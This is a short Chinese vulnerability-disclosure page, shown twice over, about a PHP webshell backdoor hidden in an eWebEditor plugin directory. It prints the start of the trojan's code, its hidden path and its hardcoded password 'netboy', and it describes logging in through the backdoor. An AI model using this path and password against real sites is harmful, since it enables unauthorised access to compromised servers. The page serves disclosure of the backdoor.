VULHUB ™

<ul><li>/ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php</li></ul><pre class="">&lt;?php error_reporting(7); //设定错误讯息回报的等级 ob_start(); //打开缓冲区,当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用ob_end_flush()或flush()输出缓冲区的内容。 $mtime = explode(' ', microtime()); $starttime = $mtime[1] + $mtime[0]; @set_time_limit(0); //非安全模式可以使用上面的函数，超时取消。 /*===================== 程序配置 =====================*/ // 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效 $admin['check'] = "1"; // 如果需要密码验证,请修改登陆密码 $admin['pass'] = "netboy"; <br></pre><p>经过解密后发现是密码为netboy的php木马。<br></p><p>访问后门地址：</p><pre class="">http://127.0.0.1/v7/ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php</pre><p>输入密码netboy，登录。&nbsp;</p><p><img alt="B4D887A1-0146-4D7B-86E1-E3C26AFDD6B6.png" src="https://images.seebug.org/@/uploads/1434523420011-B4D887A1-0146-4D7B-86E1-E3C26AFDD6B6.png" data-image-size="886,444"><br></p>

<ul><li>/ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php</li></ul><pre class="">&lt;?php error_reporting(7); //设定错误讯息回报的等级 ob_start(); //打开缓冲区,当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用ob_end_flush()或flush()输出缓冲区的内容。 $mtime = explode(' ', microtime()); $starttime = $mtime[1] + $mtime[0]; @set_time_limit(0); //非安全模式可以使用上面的函数，超时取消。 /*===================== 程序配置 =====================*/ // 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效 $admin['check'] = "1"; // 如果需要密码验证,请修改登陆密码 $admin['pass'] = "netboy"; <br></pre><p>经过解密后发现是密码为netboy的php木马。<br></p><p>访问后门地址：</p><pre class="">http://127.0.0.1/v7/ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php</pre><p>输入密码netboy，登录。&nbsp;</p><p><img alt="B4D887A1-0146-4D7B-86E1-E3C26AFDD6B6.png" src="https://images.seebug.org/@/uploads/1434523420011-B4D887A1-0146-4D7B-86E1-E3C26AFDD6B6.png" data-image-size="886,444"><br></p>